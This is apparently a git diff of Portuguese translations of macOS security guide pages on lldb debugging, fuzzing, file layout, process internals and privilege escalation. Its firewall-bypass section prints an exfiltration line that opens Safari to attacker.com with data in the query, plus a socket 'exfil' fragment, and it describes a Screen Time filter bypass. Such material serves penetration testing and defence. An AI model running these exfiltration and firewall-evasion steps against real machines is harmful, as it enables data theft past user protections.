comando “print object” (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmonta a função atual</p><p>dis -n <funcname> #Desmonta a função</p><p>dis -n <funcname> -b <basename> #Desmonta a função<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um add até o outro<br>dis -p -c 4 # Começa no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verifica array de 3 componentes no reg x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprime o mapa da memória do processo atual</td></tr><tr><td><strong>image dump symtab <biblioteca></strong></td><td><code>image dump symtab CoreNLP</code> #Obtém o endereço de todos os símbolos do CoreNLP</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descrição</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Inicia a execução, que continuará sem interrupções até que um ponto de interrupção seja atingido ou o processo termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Inicia a execução parando no ponto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continua a execução do processo depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Executa a próxima instrução. Este comando irá pular chamadas de função.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Executa a próxima instrução. Ao contrário do comando nexti, este comando irá entrar nas chamadas de função.</td></tr><tr><td><strong>finish (f)</strong></td><td>Executa o restante das instruções na função atual (“frame”) e retorna, parando.</td></tr><tr><td><strong>control + c</strong></td><td>Pausa a execução. Se o processo foi executado (r) ou continuado (c), isso fará com que o processo pare ...onde quer que esteja executando atualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Qualquer função chamada main</p><p><code>b <binname>`main</code> #Função main do binário</p><p><code>b set -n main --shlib <lib_name></code> #Função main do binário indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Qualquer método NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Interrompe em todas as funções daquela biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de breakpoints</p><p><code>br e/dis <num></code> #Habilitar/Desabilitar breakpoint</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obter ajuda do comando breakpoint</p><p>help memory write #Obter ajuda para escrever na memória</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/endereço de memória></strong></td><td>Exibe a memória como uma string terminada em nulo.</td></tr><tr><td><strong>x/i <reg/endereço de memória></strong></td><td>Exibe a memória como instrução de assembly.</td></tr><tr><td><strong>x/b <reg/endereço de memória></strong></td><td>Exibe a memória como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Isso imprimirá o objeto referenciado pelo parâmetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Note que a maioria das APIs ou métodos Objective-C da Apple retornam objetos, e, portanto, devem ser exibidos via o comando “print object” (po). Se po não produzir uma saída significativa, use <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escreve AAAA nesse endereço<br>memory write -f s $rip+0x11f+7 "AAAA" #Escreve AAAA no addr</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desmonta a função atual</p><p>dis -n <funcname> #Desmonta a função</p><p>dis -n <funcname> -b <basename> #Desmonta a função<br>dis -c 6 #Desmonta 6 linhas<br>dis -c 0x100003764 -e 0x100003768 # De um endereço até o outro<br>dis -p -c 4 # Começa no endereço atual desmontando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verifica array de 3 componentes no registrador x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprime o mapa da memória do processo atual</td></tr><tr><td><strong>image dump symtab <biblioteca></strong></td><td><code>image dump symtab CoreNLP</code> #Obtém o endereço de todos os símbolos do CoreNLP</td></tr></tbody></table>
> [!NOTE]
> [!TIP]
> Ao chamar a função **`objc_sendMsg`**, o registrador **rsi** contém o **nome do método** como uma string terminada em nulo (“C”). Para imprimir o nome via lldb faça:
>
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
@ -456,7 +454,7 @@ settings set target.x86-disassembly-flavor intel
#### Detecção de VM
- O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS**, mas algo diferente quando é uma VM.
- O comando **`sysctl hw.model`** retorna "Mac" quando o **host é um MacOS** mas algo diferente quando é uma VM.
- Brincando com os valores de **`hw.logicalcpu`** e **`hw.physicalcpu`**, alguns malwares tentam detectar se é uma VM.
- Alguns malwares também podem **detectar** se a máquina é **baseada em VMware** com base no endereço MAC (00:50:56).
- Também é possível descobrir **se um processo está sendo depurado** com um código simples como:
@ -472,7 +470,7 @@ Core dumps são criados se:
- `kern.coredump` sysctl está definido como 1 (por padrão)
- Se o processo não era suid/sgid ou `kern.sugid_coredump` é 1 (por padrão é 0)
- O limite `AS_CORE` permite a operação. É possível suprimir a criação de dumps de código chamando `ulimit -c 0` e reabilitá-los com `ulimit -c unlimited`.
- O limite `AS_CORE` permite a operação. É possível suprimir a criação de core dumps chamando `ulimit -c 0` e reabilitá-los com `ulimit -c unlimited`.
Nesses casos, o core dump é gerado de acordo com o sysctl `kern.corefile` e geralmente armazenado em `/cores/core/.%P`.
@ -481,10 +479,10 @@ Nesses casos, o core dump é gerado de acordo com o sysctl `kern.corefile` e ger
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash **analisa processos que falham e salva um relatório de falha no disco**. Um relatório de falha contém informações que podem **ajudar um desenvolvedor a diagnosticar** a causa de uma falha.\
Para aplicativos e outros processos **executando no contexto de launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de falha nos `~/Library/Logs/DiagnosticReports/` do usuário.\
Para daemons, outros processos **executando no contexto de launchd do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de falha nos `/Library/Logs/DiagnosticReports` do sistema.
Para aplicativos e outros processos **executando no contexto do launchd por usuário**, o ReportCrash é executado como um LaunchAgent e salva relatórios de falha nos `~/Library/Logs/DiagnosticReports/` do usuário.\
Para daemons, outros processos **executando no contexto do launchd do sistema** e outros processos privilegiados, o ReportCrash é executado como um LaunchDaemon e salva relatórios de falha nos `/Library/Logs/DiagnosticReports` do sistema.
Se você está preocupado com relatórios de falha **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, os relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
Se você está preocupado com relatórios de falha **sendo enviados para a Apple**, você pode desativá-los. Caso contrário, relatórios de falha podem ser úteis para **descobrir como um servidor falhou**.
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -494,17 +492,17 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Roo
launchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist
```
### Sleep
### Sono
Enquanto faz fuzzing no MacOS, é importante não permitir que o Mac entre em modo de suspensão:
Enquanto fuzzing em um MacOS, é importante não permitir que o Mac entre em modo de espera:
- systemsetup -setsleep Never
- pmset, Preferências do Sistema
- [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake)
#### SSH Disconnect
#### Desconexão SSH
Se você estiver fazendo fuzzing via uma conexão SSH, é importante garantir que a sessão não vá expirar. Portanto, altere o arquivo sshd_config com:
Se você estiver fuzzing via uma conexão SSH, é importante garantir que a sessão não vá expirar. Portanto, altere o arquivo sshd_config com:
- TCPKeepAlive Yes
- ClientAliveInterval 0
@ -542,7 +540,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
Funciona para ferramentas de linha de comando
Funciona para ferramentas de CLI
#### [Litefuzz](https://github.com/sec-tools/litefuzz)

11
src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
View File

@ -14,7 +14,7 @@ As seguintes técnicas foram encontradas funcionando em alguns aplicativos de fi
- Se o firewall pedir permissão ao usuário, faça o malware **clicar em permitir**
### **Use binários assinados pela Apple**
### **Usar binários assinados pela Apple**
- Como **`curl`**, mas também outros como **`whois`**
@ -26,7 +26,7 @@ O firewall pode estar permitindo conexões a domínios bem conhecidos da Apple,
Algumas ideias para tentar contornar firewalls
### Verifique o tráfego permitido
### Verificar tráfego permitido
Saber o tráfego permitido ajudará você a identificar domínios potencialmente na lista branca ou quais aplicativos têm permissão para acessá-los.
```bash
@ -65,6 +65,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
Se você puder **injetar código em um processo** que tenha permissão para se conectar a qualquer servidor, poderá contornar as proteções do firewall:
{{#ref}}
macos-proces-abuse/
{{#endref}}
@ -75,7 +76,7 @@ macos-proces-abuse/
### Bypass do filtro de conteúdo da web (Tempo de Tela) – **CVE-2024-44206**
Em julho de 2024, a Apple corrigiu um bug crítico no Safari/WebKit que quebrou o “filtro de conteúdo da web” em todo o sistema usado pelos controles parentais do Tempo de Tela.
Uma URI especialmente elaborada (por exemplo, com “://” codificado em URL duplo) não é reconhecida pela ACL do Tempo de Tela, mas é aceita pelo WebKit, portanto, a solicitação é enviada sem filtragem. Qualquer processo que possa abrir uma URL (incluindo código sandboxed ou não assinado) pode, portanto, acessar domínios que estão explicitamente bloqueados pelo usuário ou por um perfil MDM.
Um URI especialmente elaborado (por exemplo, com “://” codificado em URL duplo) não é reconhecido pela ACL do Tempo de Tela, mas é aceito pelo WebKit, portanto, a solicitação é enviada sem filtragem. Qualquer processo que possa abrir uma URL (incluindo código sandboxed ou não assinado) pode, portanto, acessar domínios que estão explicitamente bloqueados pelo usuário ou por um perfil MDM.
Teste prático (sistema não corrigido):
```bash
@ -108,11 +109,11 @@ s.send(b"exfil...")
## Dicas de ferramentas para macOS moderno
1. Inspecione as regras atuais do PF que os firewalls GUI geram:
1. Inspecione as regras PF atuais que os firewalls GUI geram:
```bash
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
```
2. Enumere os binários que já possuem a permissão *outgoing-network* (útil para piggy-backing):
2. Enumere os binários que já possuem a concessão *outgoing-network* (útil para piggy-backing):
```bash
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -

44
src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md
View File

@ -5,7 +5,7 @@
## Layout da hierarquia de arquivos
- **/Applications**: Os aplicativos instalados devem estar aqui. Todos os usuários poderão acessá-los.
- **/bin**: Binários de linha de comando
- **/bin**: Binários da linha de comando
- **/cores**: Se existir, é usado para armazenar dumps de núcleo
- **/dev**: Tudo é tratado como um arquivo, então você pode ver dispositivos de hardware armazenados aqui.
- **/etc**: Arquivos de configuração
@ -13,23 +13,23 @@
- **/private**: Não documentado, mas muitas das pastas mencionadas são links simbólicos para o diretório privado.
- **/sbin**: Binários essenciais do sistema (relacionados à administração)
- **/System**: Arquivo para fazer o OS X funcionar. Você deve encontrar principalmente apenas arquivos específicos da Apple aqui (não de terceiros).
- **/tmp**: Arquivos são excluídos após 3 dias (é um link simbólico para /private/tmp)
- **/Users**: Diretório home para usuários.
- **/tmp**: Arquivos são excluídos após 3 dias (é um link suave para /private/tmp)
- **/Users**: Diretório inicial para usuários.
- **/usr**: Configuração e binários do sistema
- **/var**: Arquivos de log
- **/Volumes**: As unidades montadas aparecerão aqui.
- **/.vol**: Executando `stat a.txt` você obtém algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` onde o primeiro número é o número de id do volume onde o arquivo existe e o segundo é o número do inode. Você pode acessar o conteúdo deste arquivo através de /.vol/ com essa informação executando `cat /.vol/16777223/7545753`
- **/.vol**: Executando `stat a.txt` você obtém algo como `16777223 7545753 -rw-r--r-- 1 username wheel ...` onde o primeiro número é o número de identificação do volume onde o arquivo existe e o segundo é o número do inode. Você pode acessar o conteúdo deste arquivo através de /.vol/ com essa informação executando `cat /.vol/16777223/7545753`
### Pastas de Aplicativos
- **Aplicativos do sistema** estão localizados em `/System/Applications`
- **Aplicativos instalados** geralmente são instalados em `/Applications` ou em `~/Applications`
- **Dados do aplicativo** podem ser encontrados em `/Library/Application Support` para os aplicativos executando como root e `~/Library/Application Support` para aplicativos executando como o usuário.
- Daemons de aplicativos de terceiros que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/`
- **Dados do aplicativo** podem ser encontrados em `/Library/Application Support` para os aplicativos executando como root e `~/Library/Application Support` para aplicativos executando como usuário.
- **Daemons** de aplicativos de terceiros que **precisam ser executados como root** geralmente estão localizados em `/Library/PrivilegedHelperTools/`
- Aplicativos **Sandboxed** são mapeados na pasta `~/Library/Containers`. Cada aplicativo tem uma pasta nomeada de acordo com o ID do bundle do aplicativo (`com.apple.Safari`).
- O **kernel** está localizado em `/System/Library/Kernels/kernel`
- **Extensões do kernel da Apple** estão localizadas em `/System/Library/Extensions`
- **Extensões de kernel de terceiros** são armazenadas em `/Library/Extensions`
- **Extensões do kernel de terceiros** são armazenadas em `/Library/Extensions`
### Arquivos com Informações Sensíveis
@ -39,7 +39,7 @@ MacOS armazena informações como senhas em vários lugares:
macos-sensitive-locations.md
{{#endref}}
### Instaladores pkg Vulneráveis
### Instaladores de pkg Vulneráveis
{{#ref}}
macos-installers-abuse.md
@ -52,7 +52,7 @@ macos-installers-abuse.md
- **`.plist`**: Também conhecido como lista de propriedades, armazena informações em formato XML ou binário.
- Pode ser XML ou binário. Os binários podem ser lidos com:
- `defaults read config.plist`
- `/usr/libexec/PlistBuddy -c print config.plist`
- `/usr/libexec/PlistBuddy -c print config.plsit`
- `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
- `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
@ -97,7 +97,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
Alguns extratores não funcionarão, pois as dylibs estão pré-vinculadas com endereços codificados, portanto, podem estar pulando para endereços desconhecidos.
Alguns extratores não funcionarão, pois as dylibs estão pré-linkadas com endereços codificados, portanto, podem estar pulando para endereços desconhecidos.
> [!TIP]
> Também é possível baixar o Cache de Biblioteca Compartilhada de outros dispositivos \*OS no macos usando um emulador no Xcode. Eles serão baixados dentro de: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, como: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
@ -121,13 +121,13 @@ Usando as variáveis de ambiente:
### Permissões de Pasta
Em uma **pasta**, **ler** permite **listar**, **escrever** permite **deletar** e **escrever** arquivos nela, e **executar** permite **navegar** pelo diretório. Portanto, por exemplo, um usuário com **permissão de leitura sobre um arquivo** dentro de um diretório onde ele **não tem permissão de execução** **não poderá ler** o arquivo.
Em uma **pasta**, **ler** permite **listá-la**, **escrever** permite **deletar** e **escrever** arquivos nela, e **executar** permite **navegar** pelo diretório. Portanto, por exemplo, um usuário com **permissão de leitura sobre um arquivo** dentro de um diretório onde ele **não tem permissão de execução** **não poderá ler** o arquivo.
### Modificadores de Flag
Existem algumas flags que podem ser definidas nos arquivos que farão o arquivo se comportar de maneira diferente. Você pode **verificar as flags** dos arquivos dentro de um diretório com `ls -lO /path/directory`
- **`uchg`**: Conhecida como flag **uchange**, **impede qualquer ação** de alteração ou exclusão do **arquivo**. Para defini-la, faça: `chflags uchg file.txt`
- **`uchg`**: Conhecida como flag **uchange**, irá **prevenir qualquer ação** de alteração ou exclusão do **arquivo**. Para defini-la, faça: `chflags uchg file.txt`
- O usuário root pode **remover a flag** e modificar o arquivo.
- **`restricted`**: Esta flag faz com que o arquivo seja **protegido pelo SIP** (você não pode adicionar esta flag a um arquivo).
- **`Sticky bit`**: Se um diretório tiver o sticky bit, **apenas** o **proprietário do diretório ou root pode renomear ou deletar** arquivos. Normalmente, isso é definido no diretório /tmp para impedir que usuários comuns excluam ou movam arquivos de outros usuários.
@ -158,10 +158,10 @@ Todas as flags podem ser encontradas no arquivo `sys/stat.h` (encontre usando `m
As **ACLs** de arquivo contêm **ACE** (Entradas de Controle de Acesso) onde permissões **mais granulares** podem ser atribuídas a diferentes usuários.
É possível conceder a um **diretório** estas permissões: `listar`, `pesquisar`, `adicionar_arquivo`, `adicionar_subdiretório`, `deletar_filho`, `deletar_filho`.\
E a um **arquivo**: `ler`, `escrever`, `adicionar`, `executar`.
É possível conceder a uma **pasta** essas permissões: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
E a um **arquivo**: `read`, `write`, `append`, `execute`.
Quando o arquivo contém ACLs, você encontrará um "+" ao listar as permissões como em:
Quando o arquivo contém ACLs, você encontrará um "+" ao listar as permissões, como em:
```bash
ls -ld Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
@ -188,15 +188,15 @@ Atributos estendidos têm um nome e qualquer valor desejado, e podem ser vistos
- `com.apple.TextEncoding`: Especifica a codificação de texto de arquivos de texto ASCII
- `com.apple.logd.metadata`: Usado pelo logd em arquivos em `/var/db/diagnostics`
- `com.apple.genstore.*`: Armazenamento geracional (`/.DocumentRevisions-V100` na raiz do sistema de arquivos)
- `com.apple.rootless`: MacOS: Usado pela Proteção de Integridade do Sistema para rotular arquivo (III/10)
- `com.apple.rootless`: MacOS: Usado pela Proteção de Integridade do Sistema para rotular arquivos (III/10)
- `com.apple.uuidb.boot-uuid`: marcações do logd de épocas de inicialização com UUID único
- `com.apple.decmpfs`: MacOS: Compressão de arquivo transparente (II/7)
- `com.apple.decmpfs`: MacOS: Compressão de arquivos transparente (II/7)
- `com.apple.cprotect`: \*OS: Dados de criptografia por arquivo (III/11)
- `com.apple.installd.*`: \*OS: Metadados usados pelo installd, por exemplo, `installType`, `uniqueInstallID`
### Forks de Recurso | macOS ADS
Esta é uma maneira de obter **Fluxos de Dados Alternativos no MacOS**. Você pode salvar conteúdo dentro de um atributo estendido chamado **com.apple.ResourceFork** dentro de um arquivo salvando-o em **file/..namedfork/rsrc**.
Esta é uma maneira de obter **Fluxos de Dados Alternativos em máquinas MacOS**. Você pode salvar conteúdo dentro de um atributo estendido chamado **com.apple.ResourceFork** dentro de um arquivo salvando-o em **file/..namedfork/rsrc**.
```bash
echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -213,9 +213,9 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
```
### decmpfs
O atributo estendido `com.apple.decmpfs` indica que o arquivo está armazenado criptografado, `ls -l` reportará um **tamanho de 0** e os dados comprimidos estão dentro deste atributo. Sempre que o arquivo for acessado, ele será descriptografado na memória.
O atributo estendido `com.apple.decmpfs` indica que o arquivo está armazenado criptografado, `ls -l` reportará um **tamanho de 0** e os dados comprimidos estão dentro desse atributo. Sempre que o arquivo for acessado, ele será descriptografado na memória.
Esse atributo pode ser visto com `ls -lO` indicado como comprimido porque arquivos comprimidos também são marcados com a flag `UF_COMPRESSED`. Se um arquivo comprimido for removido essa flag com `chflags nocompressed </path/to/file>`, o sistema não saberá que o arquivo foi comprimido e, portanto, não poderá descomprimir e acessar os dados (ele pensará que está realmente vazio).
Esse atributo pode ser visto com `ls -lO` indicado como comprimido porque arquivos comprimidos também são marcados com a flag `UF_COMPRESSED`. Se um arquivo comprimido for removido essa flag com `chflags nocompressed </path/to/file>`, o sistema não saberá que o arquivo foi comprimido e, portanto, não será capaz de descomprimir e acessar os dados (ele pensará que está realmente vazio).
A ferramenta afscexpand pode ser usada para forçar a descompressão de um arquivo.
@ -248,9 +248,9 @@ O diretório `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/S
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Contém informações sobre arquivos baixados, como a URL de onde foram baixados.
- **`/var/log/system.log`**: Log principal dos sistemas OSX. com.apple.syslogd.plist é responsável pela execução do syslogging (você pode verificar se está desativado procurando por "com.apple.syslogd" em `launchctl list`).
- **`/private/var/log/asl/*.asl`**: Estes são os Logs do Sistema da Apple que podem conter informações interessantes.
- **`/private/var/log/asl/*.asl`**: Estes são os Logs do Sistema Apple que podem conter informações interessantes.
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Armazena arquivos e aplicativos acessados recentemente através do "Finder".
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Armazena itens para iniciar ao iniciar o sistema.
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Armazena itens para iniciar na inicialização do sistema.
- **`$HOME/Library/Logs/DiskUtility.log`**: Arquivo de log para o aplicativo DiskUtility (informações sobre drives, incluindo USBs).
- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Dados sobre pontos de acesso sem fio.
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Lista de daemons desativados.

5
src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
View File

@ -10,7 +10,7 @@ Se você veio aqui procurando por escalação de privilégios TCC, vá para:
macos-security-protections/macos-tcc/
{{#endref}}
## Privesc no Linux
## Escalação de Privilégios no Linux
Por favor, note que **a maioria das técnicas de escalação de privilégios que afetam Linux/Unix também afetará máquinas MacOS**. Então veja:
@ -121,7 +121,7 @@ killall Dock
```
{{#endtab}}
{{#tab name="Imitação do Finder"}}
{{#tab name="Impersonação do Finder"}}
Algumas sugestões:
- Você **não pode remover o Finder do Dock**, então se você for adicioná-lo ao Dock, pode colocar o Finder falso logo ao lado do verdadeiro. Para isso, você precisa **adicionar a entrada do Finder falso no início do array do Dock**.
@ -232,6 +232,7 @@ Uma explicação mais detalhada pode ser [**encontrada no relatório original**]
Isso pode ser útil para escalar privilégios:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md
{{#endref}}

40
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md
View File

@ -4,16 +4,16 @@
## Informações Básicas sobre Processos
Um processo é uma instância de um executável em execução, no entanto, os processos não executam código, esses são threads. Portanto, **os processos são apenas contêineres para threads em execução** fornecendo memória, descritores, portas, permissões...
Um processo é uma instância de um executável em execução, no entanto, os processos não executam código, esses são threads. Portanto, **os processos são apenas contêineres para threads em execução** fornecendo a memória, descritores, portas, permissões...
Tradicionalmente, os processos eram iniciados dentro de outros processos (exceto o PID 1) chamando **`fork`**, que criaria uma cópia exata do processo atual e então o **processo filho** geralmente chamaria **`execve`** para carregar o novo executável e executá-lo. Então, **`vfork`** foi introduzido para tornar esse processo mais rápido sem qualquer cópia de memória.\
Tradicionalmente, os processos eram iniciados dentro de outros processos (exceto PID 1) chamando **`fork`**, que criaria uma cópia exata do processo atual e então o **processo filho** geralmente chamaria **`execve`** para carregar o novo executável e executá-lo. Então, **`vfork`** foi introduzido para tornar esse processo mais rápido sem qualquer cópia de memória.\
Depois, **`posix_spawn`** foi introduzido combinando **`vfork`** e **`execve`** em uma única chamada e aceitando flags:
- `POSIX_SPAWN_RESETIDS`: Redefinir ids efetivos para ids reais
- `POSIX_SPAWN_SETPGROUP`: Definir afiliação do grupo de processos
- `POSUX_SPAWN_SETSIGDEF`: Definir comportamento padrão do sinal
- `POSIX_SPAWN_SETSIGMASK`: Definir máscara de sinal
- `POSIX_SPAWN_SETEXEC`: Execução no mesmo processo (como `execve` com mais opções)
- `POSIX_SPAWN_SETEXEC`: Exec no mesmo processo (como `execve` com mais opções)
- `POSIX_SPAWN_START_SUSPENDED`: Iniciar suspenso
- `_POSIX_SPAWN_DISABLE_ASLR`: Iniciar sem ASLR
- `_POSIX_SPAWN_NANO_ALLOCATOR:` Usar o alocador Nano da libmalloc
@ -23,7 +23,7 @@ Depois, **`posix_spawn`** foi introduzido combinando **`vfork`** e **`execve`**
Além disso, `posix_spawn` permite especificar um array de **`posix_spawnattr`** que controla alguns aspectos do processo gerado, e **`posix_spawn_file_actions`** para modificar o estado dos descritores.
Quando um processo morre, ele envia o **código de retorno para o processo pai** (se o pai morreu, o novo pai é o PID 1) com o sinal `SIGCHLD`. O pai precisa obter esse valor chamando `wait4()` ou `waitid()` e até que isso aconteça, o filho permanece em um estado zumbi onde ainda está listado, mas não consome recursos.
Quando um processo morre, ele envia o **código de retorno para o processo pai** (se o pai morreu, o novo pai é PID 1) com o sinal `SIGCHLD`. O pai precisa obter esse valor chamando `wait4()` ou `waitid()` e até que isso aconteça, o filho permanece em um estado zumbi onde ainda está listado, mas não consome recursos.
### PIDs
@ -31,15 +31,15 @@ PIDs, identificadores de processo, identificam um processo único. No XNU, os **
### Grupos de Processos, Sessões e Coalizões
**Processos** podem ser inseridos em **grupos** para facilitar seu manuseio. Por exemplo, comandos em um script de shell estarão no mesmo grupo de processos, então é possível **sinalizá-los juntos** usando kill, por exemplo.\
**Processos** podem ser inseridos em **grupos** para facilitar o manuseio. Por exemplo, comandos em um script de shell estarão no mesmo grupo de processos, então é possível **sinalizá-los juntos** usando kill, por exemplo.\
Também é possível **agrupar processos em sessões**. Quando um processo inicia uma sessão (`setsid(2)`), os processos filhos são colocados dentro da sessão, a menos que iniciem sua própria sessão.
Coalizão é outra maneira de agrupar processos no Darwin. Um processo que se junta a uma coalizão permite acessar recursos do pool, compartilhando um livro-razão ou enfrentando Jetsam. As coalizões têm diferentes papéis: Líder, serviço XPC, Extensão.
Coalizão é outra maneira de agrupar processos no Darwin. Um processo que se junta a uma coalizão permite acessar recursos compartilhados, compartilhando um livro-razão ou enfrentando Jetsam. As coalizões têm diferentes papéis: Líder, serviço XPC, Extensão.
### Credenciais e Personas
Cada processo possui **credenciais** que **identificam seus privilégios** no sistema. Cada processo terá um `uid` primário e um `gid` primário (embora possa pertencer a vários grupos).\
Também é possível mudar o id do usuário e do grupo se o binário tiver o bit `setuid/setgid`.\
Cada processo mantém **credenciais** que **identificam seus privilégios** no sistema. Cada processo terá um `uid` primário e um `gid` primário (embora possa pertencer a vários grupos).\
Também é possível mudar o id de usuário e o id de grupo se o binário tiver o bit `setuid/setgid`.\
Existem várias funções para **definir novos uids/gids**.
A syscall **`persona`** fornece um conjunto **alternativo** de **credenciais**. Adotar uma persona assume seu uid, gid e associações de grupo **de uma só vez**. No [**código-fonte**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) é possível encontrar a struct:
@ -58,7 +58,7 @@ char persona_name[MAXLOGNAME + 1];
```
## Informações Básicas sobre Threads
1. **POSIX Threads (pthreads):** O macOS suporta threads POSIX (`pthreads`), que fazem parte de uma API de threading padrão para C/C++. A implementação de pthreads no macOS é encontrada em `/usr/lib/system/libsystem_pthread.dylib`, que vem do projeto `libpthread` disponível publicamente. Esta biblioteca fornece as funções necessárias para criar e gerenciar threads.
1. **POSIX Threads (pthreads):** o macOS suporta threads POSIX (`pthreads`), que fazem parte de uma API de threading padrão para C/C++. A implementação de pthreads no macOS é encontrada em `/usr/lib/system/libsystem_pthread.dylib`, que vem do projeto `libpthread` disponível publicamente. Esta biblioteca fornece as funções necessárias para criar e gerenciar threads.
2. **Criando Threads:** A função `pthread_create()` é usada para criar novas threads. Internamente, essa função chama `bsdthread_create()`, que é uma chamada de sistema de nível inferior específica para o kernel XNU (o kernel no qual o macOS é baseado). Esta chamada de sistema aceita várias flags derivadas de `pthread_attr` (atributos) que especificam o comportamento da thread, incluindo políticas de agendamento e tamanho da pilha.
- **Tamanho da Pilha Padrão:** O tamanho da pilha padrão para novas threads é de 512 KB, o que é suficiente para operações típicas, mas pode ser ajustado através de atributos de thread se mais ou menos espaço for necessário.
3. **Inicialização da Thread:** A função `__pthread_init()` é crucial durante a configuração da thread, utilizando o argumento `env[]` para analisar variáveis de ambiente que podem incluir detalhes sobre a localização e o tamanho da pilha.
@ -66,7 +66,7 @@ char persona_name[MAXLOGNAME + 1];
#### Terminação de Threads no macOS
1. **Saindo de Threads:** As threads são tipicamente terminadas chamando `pthread_exit()`. Esta função permite que uma thread saia de forma limpa, realizando a limpeza necessária e permitindo que a thread envie um valor de retorno de volta para qualquer thread que a tenha juntado.
2. **Limpeza da Thread:** Ao chamar `pthread_exit()`, a função `pthread_terminate()` é invocada, que lida com a remoção de todas as estruturas de thread associadas. Ela desaloca portas de thread Mach (Mach é o subsistema de comunicação no kernel XNU) e chama `bsdthread_terminate`, uma syscall que remove as estruturas de nível de kernel associadas à thread.
